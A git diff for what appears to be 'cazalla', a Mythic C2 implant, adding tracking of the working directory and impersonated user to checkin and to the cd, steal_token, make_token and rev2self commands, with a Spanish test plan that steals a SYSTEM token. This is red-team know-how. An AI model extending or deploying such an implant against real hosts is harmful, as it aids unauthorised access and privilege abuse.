diff --git a/CONTEXT_TRACKING_TEST_PLAN.md b/CONTEXT_TRACKING_TEST_PLAN.md new file mode 100644 index 0000000..4b601d8 --- /dev/null +++ b/CONTEXT_TRACKING_TEST_PLAN.md @@ -0,0 +1,106 @@ +# Plan de Pruebas para Context Tracking + +## Resumen +Context Tracking permite ver información del callback (como `cwd` e `impersonation_context`) en tabs visibles sobre el área de tasking en Mythic. + +## Cambios Implementados + +### 1. Variables Globales +- `gCurrentDirectory`: Mantiene el directorio actual +- `gImpersonationContext`: Mantiene el usuario impersonado + +### 2. Comandos que Actualizan Contexto +- **`cd`**: Actualiza `cwd` cuando cambias de directorio +- **`steal_token`**: Actualiza `impersonation_context` cuando robas un token +- **`make_token`**: Actualiza `impersonation_context` cuando creas un token +- **`rev2self`**: Limpia `impersonation_context` cuando reviertes la impersonación + +### 3. Checkin +- Incluye `cwd` inicial al hacer checkin + +## Plan de Pruebas + +### Prueba 1: Verificar cwd inicial en Checkin +1. Compila y despliega el agente +2. Verifica que al hacer checkin, aparezca un tab con `cwd` mostrando el directorio actual +3. **Resultado esperado**: Tab "cwd" visible con el directorio actual (ej: `C:\Users\localuser`) + +### Prueba 2: Actualizar cwd con cd +1. Ejecuta `cd C:\Windows` +2. Verifica que el tab `cwd` se actualice a `C:\Windows` +3. **Resultado esperado**: Tab "cwd" cambia a `C:\Windows` + +### Prueba 3: Impersonation Context con steal_token +1. Ejecuta `list_tokens` para ver tokens disponibles +2. Ejecuta `steal_token ` donde `` es un proceso con privilegios elevados (ej: SYSTEM) +3. Verifica que aparezca un tab `impersonation_context` con el usuario impersonado (ej: `NT AUTHORITY\SYSTEM`) +4. **Resultado esperado**: Tab "impersonation_context" aparece con el usuario impersonado + +### Prueba 4: Verificar whoami después de steal_token +1. Después de `steal_token`, ejecuta `whoami` +2. Verifica que `whoami` muestre el usuario impersonado +3. **Resultado esperado**: `whoami` muestra el usuario del token robado + +### Prueba 5: Limpiar impersonation_context con rev2self +1. Después de `steal_token`, ejecuta `rev2self` +2. Verifica que el tab `impersonation_context` se limpie (desaparezca o muestre vacío) +3. Ejecuta `whoami` para verificar que volvió al usuario original +4. **Resultado esperado**: Tab "impersonation_context" se limpia, `whoami` muestra usuario original + +### Prueba 6: make_token actualiza impersonation_context +1. Ejecuta `make_token domain username password` +2. Verifica que el tab `impersonation_context` se actualice con el nuevo usuario +3. **Resultado esperado**: Tab "impersonation_context" muestra el usuario del token creado + +### Prueba 7: Verificar logs del translator +1. Revisa los logs del translator para ver mensajes como: + - `[CALLBACK_CONTEXT] cwd = 'C:\Windows'` + - `[CALLBACK_CONTEXT] impersonation_context = 'NT AUTHORITY\SYSTEM'` +2. **Resultado esperado**: Logs muestran los campos de callback context parseados correctamente + +## Verificación de Implementación + +### Verificar que los archivos se compilaron correctamente: +```bash +# En el contenedor de Mythic, verifica logs de compilación +docker logs cazalla_translator | grep -i "error\|warning" | tail -20 +``` + +### Verificar en logs del agente: +Busca logs que incluyan: +- `[steal_token] Contexto de impersonación actualizado` +- `[make_token] Contexto de impersonación actualizado` +- `[rev2self] Contexto de impersonación limpiado` +- `Checkin: Añadido cwd inicial` + +### Verificar en logs del translator: +Busca logs que incluyan: +- `[CALLBACK_CONTEXT] cwd = '...'` +- `[CALLBACK_CONTEXT] impersonation_context = '...'` +- `[CHECKIN] Callback context: cwd = '...'` +- `[CALLBACK_CONTEXT] Añadido callback context con X campos` + +## Configuración en Mythic UI + +1. Ve a **Settings** (configuración de usuario) +2. Busca la sección de **Tasking Context Tabs** +3. Asegúrate de que `cwd` e `impersonation_context` estén seleccionados +4. Configura colores si lo deseas + +## Solución de Problemas + +### Si los tabs no aparecen: +1. Verifica que los logs del translator muestren `[CALLBACK_CONTEXT]` +2. Verifica que el JSON de respuesta incluya la clave `callback` con los campos +3. Verifica la configuración de usuario en Mythic (Settings → Tasking Context Tabs) + +### Si el cwd no se actualiza: +1. Verifica logs del agente: `setCurrentDirectoryContext` debería llamarse +2. Verifica que `cd` esté funcionando correctamente +3. Revisa los logs del translator para ver si se parsea el callback context + +### Si impersonation_context no se actualiza: +1. Verifica que `steal_token`/`make_token` funcionen correctamente +2. Verifica logs: `setImpersonationContext` debería llamarse +3. Verifica logs del translator para ver si se parsea + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c index d9cea13..6a07596 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c @@ -1,6 +1,7 @@ #include "SistemadeFicheros.h" #include "paquete.h" #include "transporte.h" +#include "cazalla.h" // For context tracking functions /* Forward decl to avoid implicit declaration on some toolchains */ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); @@ -58,6 +59,11 @@ VOID CambiarDirectorio(PAnalizador argumentos) { char dir[2048]; int length = GetCurrentDirectoryA(sizeof(dir), dir); + // Update global context tracking + if (length > 0) { + setCurrentDirectoryContext(dir); + } + PPaquete salida = nuevoPaquete(0, FALSE); // success @@ -67,6 +73,12 @@ VOID CambiarDirectorio(PAnalizador argumentos) { addString(salida, dir, FALSE); addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + // Add callback context with updated cwd + if (length > 0) { + addCallbackContext(respuestaTarea, "cwd", dir); + } + mandarPaquete(respuestaTarea); liberarPaquete(salida); liberarPaquete(respuestaTarea); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c index 48c8ae0..f884e39 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -5,6 +5,49 @@ CONFIG_CAZALLA* cazallaConfig = NULL; +/* Context tracking: Current working directory and impersonation context */ +static char gCurrentDirectory[MAX_PATH] = ""; +static char gImpersonationContext[256] = ""; + +/* Get current working directory for context tracking */ +PCHAR getCurrentDirectoryContext(void) { + if (gCurrentDirectory[0] == '\0') { + // Initialize with actual current directory if not set + if (GetCurrentDirectoryA(sizeof(gCurrentDirectory), gCurrentDirectory) == 0) { + gCurrentDirectory[0] = '\0'; + } + } + return gCurrentDirectory; +} + +/* Set current working directory for context tracking */ +VOID setCurrentDirectoryContext(PCHAR cwd) { + if (cwd && strlen(cwd) < sizeof(gCurrentDirectory)) { + strncpy(gCurrentDirectory, cwd, sizeof(gCurrentDirectory) - 1); + gCurrentDirectory[sizeof(gCurrentDirectory) - 1] = '\0'; + } +} + +/* Get impersonation context for context tracking */ +PCHAR getImpersonationContext(void) { + return gImpersonationContext; +} + +/* Set impersonation context for context tracking */ +VOID setImpersonationContext(PCHAR context) { + if (context) { + strncpy(gImpersonationContext, context, sizeof(gImpersonationContext) - 1); + gImpersonationContext[sizeof(gImpersonationContext) - 1] = '\0'; + } else { + gImpersonationContext[0] = '\0'; + } +} + +/* Clear impersonation context (e.g., after rev2self) */ +VOID clearImpersonationContext(void) { + gImpersonationContext[0] = '\0'; +} + VOID cazallaMain() { _inf("Inicializando configuración de Cazalla"); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h index f5c5263..d21466c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h @@ -29,6 +29,13 @@ typedef struct { extern PCONFIG_CAZALLA cazallaConfig; +/* Context tracking functions */ +PCHAR getCurrentDirectoryContext(void); +VOID setCurrentDirectoryContext(PCHAR cwd); +PCHAR getImpersonationContext(void); +VOID setImpersonationContext(PCHAR context); +VOID clearImpersonationContext(void); + VOID setUUID(PCHAR newUUID); VOID cazallaMain(void); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c index db6c564..264c46c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c @@ -1,6 +1,8 @@ #include "checkin.h" #include "cazalla.h" #include "socks_manager.h" +#include "paquete.h" // For addCallbackContext +#include "identity.h" // For IdentityGetUserInfo #pragma comment(lib, "iphlpapi.lib") #include @@ -146,6 +148,68 @@ PAnalizador checkin() { addString(checkin, obtenerNombreProceso(), TRUE); addString(checkin, (PCHAR)"1.1.1.1", TRUE); + // Add callback context with initial cwd and impersonation_context + // Get current directory and add to callback context + char initial_cwd[MAX_PATH] = {0}; + if (GetCurrentDirectoryA(sizeof(initial_cwd), initial_cwd) > 0) { + setCurrentDirectoryContext(initial_cwd); // Initialize global context + addCallbackContext(checkin, "cwd", initial_cwd); + _inf("Checkin: Añadido cwd inicial: %s", initial_cwd); + } else { + _wrn("Checkin: No se pudo obtener el directorio actual"); + } + + // Get current user context (process token) for impersonation_context + // This will show the user even if there's no impersonation active + HANDLE hProcessToken = NULL; + char initial_user[512] = {0}; + BOOL user_context_added = FALSE; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) { + if (IdentityGetUserInfo(hProcessToken, initial_user, sizeof(initial_user))) { + setImpersonationContext(initial_user); // Initialize global context + addCallbackContext(checkin, "impersonation_context", initial_user); + _inf("Checkin: Añadido impersonation_context inicial (process token): %s", initial_user); + user_context_added = TRUE; + } else { + _wrn("Checkin: IdentityGetUserInfo falló"); + } + CloseHandle(hProcessToken); + } else { + DWORD error = GetLastError(); + _wrn("Checkin: OpenProcessToken falló, error=%lu, usando fallback", error); + } + + if (!user_context_added) { + // If we can't get process token, use the username from obtenerUsuarios() + // Format: domain\username (we'll use hostname as domain if needed) + char* username = obtenerUsuarios(); + char* domain = obtenerDominio(); + if (username && strlen(username) > 0) { + if (domain && wcslen(domain) > 0) { + // Convert domain from wide char to char + char domain_narrow[256] = {0}; + WideCharToMultiByte(CP_ACP, 0, domain, -1, domain_narrow, sizeof(domain_narrow), NULL, NULL); + snprintf(initial_user, sizeof(initial_user), "%s\\%s", domain_narrow, username); + } else { + // Use hostname as domain if domain is empty + char* hostname = obtenerHostame(); + if (hostname && strlen(hostname) > 0) { + snprintf(initial_user, sizeof(initial_user), "%s\\%s", hostname, username); + } else { + strncpy(initial_user, username, sizeof(initial_user) - 1); + } + } + setImpersonationContext(initial_user); + addCallbackContext(checkin, "impersonation_context", initial_user); + _inf("Checkin: Añadido impersonation_context inicial (fallback): %s", initial_user); + } else { + _wrn("Checkin: No se pudo obtener username para impersonation_context"); + } + } + + _inf("Checkin: Tamaño del paquete antes de enviar: %zu bytes", checkin->length); + // === When mythic_encrypts=True, agent sends plaintext === // The C2 profile (HTTP) handles encryption at HTTP layer // No need for ECC key exchange in checkin diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index ec8428d..f583908 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -903,4 +903,31 @@ VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_i // Token ID addInt32(paquete, token_id); +} + +// Helper function to add callback context (cwd, impersonation_context, etc.) +// Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value] +// Can be called multiple times to add multiple fields +VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value) { + if (!paquete || !field_name) { + return; + } + + // Callback context marker (0xF0) - Note: 0xF1 is CHECKIN action, so we use 0xF0 + // This marker indicates callback context data + addByte(paquete, 0xF0); + + // Field name length and value (e.g., "cwd", "impersonation_context") + SIZE_T name_len = strlen(field_name); + addInt32(paquete, (UINT32)name_len); + addString(paquete, field_name, FALSE); + + // Field value (optional - use empty string if NULL) + if (field_value) { + SIZE_T value_len = strlen(field_value); + addInt32(paquete, (UINT32)value_len); + addString(paquete, field_value, FALSE); + } else { + addInt32(paquete, 0); + } } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index b78b92e..8f9bc5e 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -72,4 +72,10 @@ VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, /* action must be "add" or "remove" */ VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id); +/* Callback context helper: for updating callback context (cwd, impersonation_context, etc.) */ +/* Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... */ +/* Can be called multiple times to add multiple fields */ +/* Common fields: "cwd", "impersonation_context", "pid", "sleep_info", "extra_info" */ +VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c index 854fdb4..40794a0 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c @@ -5,6 +5,7 @@ #include "analizador.h" #include "identity.h" #include "debug.h" +#include "cazalla.h" // For context tracking functions #include #include @@ -480,6 +481,10 @@ VOID RobarToken(PAnalizador argumentos) { DWORD hostname_len = sizeof(hostname); GetComputerNameA(hostname, &hostname_len); + // Update global impersonation context + setImpersonationContext(account_name); + _inf("[steal_token] Contexto de impersonación actualizado: %s", account_name); + PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); addString(respuestaFinal, tareaUuid, FALSE); PPaquete salidaFinal = nuevoPaquete(0, FALSE); @@ -491,6 +496,9 @@ VOID RobarToken(PAnalizador argumentos) { snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name); addArtifact(respuestaFinal, "Token Impersonation", artifact_msg); + // Add callback context with impersonation_context + addCallbackContext(respuestaFinal, "impersonation_context", account_name); + // Add callback token registration addCallbackToken(respuestaFinal, "add", hostname, token_id); @@ -767,6 +775,10 @@ VOID CrearToken(PAnalizador argumentos) { snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe); } + // Update global impersonation context + setImpersonationContext(account_name); + _inf("[make_token] Contexto de impersonación actualizado: %s", account_name); + // Generate token_id (simple hash of user+domain) // Use existing domain_len and user_len variables (they were set by getString) // If needed, recalculate lengths using strlen for actual string length (not buffer length) @@ -791,6 +803,9 @@ VOID CrearToken(PAnalizador argumentos) { snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type); addArtifact(respuestaFinal, "Token Creation", artifact_msg); + // Add callback context with impersonation_context + addCallbackContext(respuestaFinal, "impersonation_context", account_name); + // Register token with callback addCallbackToken(respuestaFinal, "add", hostname, token_id); @@ -816,11 +831,19 @@ VOID RevertirToken(PAnalizador argumentos) { CloseHandle(gImpersonationToken); gImpersonationToken = NULL; + // Clear global impersonation context + clearImpersonationContext(); + _inf("[rev2self] Contexto de impersonación limpiado"); + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); addString(respuesta, tareaUuid, FALSE); PPaquete salida = nuevoPaquete(0, FALSE); PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n"); addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Add callback context with empty impersonation_context to clear it + addCallbackContext(respuesta, "impersonation_context", ""); + mandarPaquete(respuesta); liberarPaquete(salida); liberarPaquete(respuesta); diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 813c29b..93eef01 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -53,16 +53,55 @@ def checkIn(data): # Retrieve External IP externalIP, data = getBytesWithSize(data) - # Nota: ECC Public Key ya no se usa (cifrado AESPSK se inyecta en build time) - # Leemos y descartamos la longitud (4 bytes) que siempre será 0 - try: - key_len = int.from_bytes(data[:4], "big") - data = data[4:] - if key_len > 0: - # Descarta los datos de la clave si existen (código legacy) - data = data[key_len:] - except: - pass + # Parse callback context from remaining data if present + # Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... + print(f"[CHECKIN] Datos restantes después de parsear campos estándar: {len(data)} bytes") + if len(data) > 0: + print(f"[CHECKIN] Primeros bytes de datos restantes: {data[:min(20, len(data))].hex()}") + + callback_context = {} + while len(data) >= 5: # At least: marker (1) + name_len (4) + if data[0] == 0xF0: + # Callback context marker found + offset = 1 + + # Extract field name + if len(data) < offset + 4: + break + name_len = int.from_bytes(data[offset:offset+4], 'big') + offset += 4 + + if name_len == 0 or len(data) < offset + name_len: + break + + try: + field_name = data[offset:offset+name_len].decode('cp850', errors='ignore') + offset += name_len + except: + break + + # Extract field value + if len(data) < offset + 4: + break + value_len = int.from_bytes(data[offset:offset+4], 'big') + offset += 4 + + field_value = "" + if value_len > 0: + if len(data) < offset + value_len: + break + try: + field_value = data[offset:offset+value_len].decode('cp850', errors='ignore') + offset += value_len + except: + field_value = "" + + callback_context[field_name] = field_value + print(f"[CHECKIN] Callback context: {field_name} = '{field_value}'") + data = data[offset:] + else: + # No more callback context markers + break dataJson = { "action": "checkin", @@ -77,7 +116,21 @@ def checkIn(data): "architecture": archOS, "externalIP": externalIP.decode('cp850'), } - + + # Add callback context if present + # For checkin, callback context is added directly to the root message (not in a "callback" key) + # This matches Mythic's documentation: callback fields can be at root level for checkin + if callback_context: + for key, value in callback_context.items(): + dataJson[key] = value + print(f"[CHECKIN] Añadido campo '{key}' = '{value}' al JSON de checkin") + print(f"[CHECKIN] Total callback context añadido: {len(callback_context)} campos: {list(callback_context.keys())}") + else: + print(f"[CHECKIN] No se encontró callback context en el mensaje de checkin") + + # Debug: Print final JSON structure + print(f"[CHECKIN] JSON final tiene {len(dataJson)} campos: {list(dataJson.keys())}") + return dataJson @@ -401,7 +454,7 @@ def postResponse(data): # Verify that remaining_data starts with a marker if we expect markers # This helps detect protocol issues if len(remaining_data) > 0: - KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3} + KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3, 0xF2, 0xF0} if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0: # This might be part of the output that wasn't properly extracted # This could happen if output_len was incorrectly interpreted @@ -430,6 +483,7 @@ def postResponse(data): tokens_data = [] callback_tokens_data = [] keylogs_data = [] + callback_context_data = {} # Dictionary to store callback context fields (cwd, impersonation_context, etc.) print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes") if len(remaining_data) > 0: @@ -978,6 +1032,47 @@ def postResponse(data): "token_id": token_id }) print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}") + remaining_data = remaining_data[offset:] + elif remaining_data[0] == 0xF0: + # Callback context marker found + # Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value] + offset = 1 + + # Extract field name + if len(remaining_data) < offset + 4: + break + name_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if name_len == 0 or len(remaining_data) < offset + name_len: + break + + try: + field_name = remaining_data[offset:offset+name_len].decode('cp850', errors='ignore') + offset += name_len + except: + break + + # Extract field value + if len(remaining_data) < offset + 4: + break + value_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + field_value = "" + if value_len > 0: + if len(remaining_data) < offset + value_len: + break + try: + field_value = remaining_data[offset:offset+value_len].decode('cp850', errors='ignore') + offset += value_len + except: + field_value = "" + + # Store callback context field + callback_context_data[field_name] = field_value + print(f"[CALLBACK_CONTEXT] {field_name} = '{field_value}'") + remaining_data = remaining_data[offset:] else: # No more markers @@ -1027,6 +1122,11 @@ def postResponse(data): "completed": True, } + # Add callback context if present + if callback_context_data: + jsonTask["callback"] = callback_context_data + print(f"[CALLBACK_CONTEXT] Añadido callback context con {len(callback_context_data)} campos: {list(callback_context_data.keys())}") + # Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks # (los chunks de download no necesitan user_output) # Always include user_output if there's output text (needed for tokens command to show in GUI)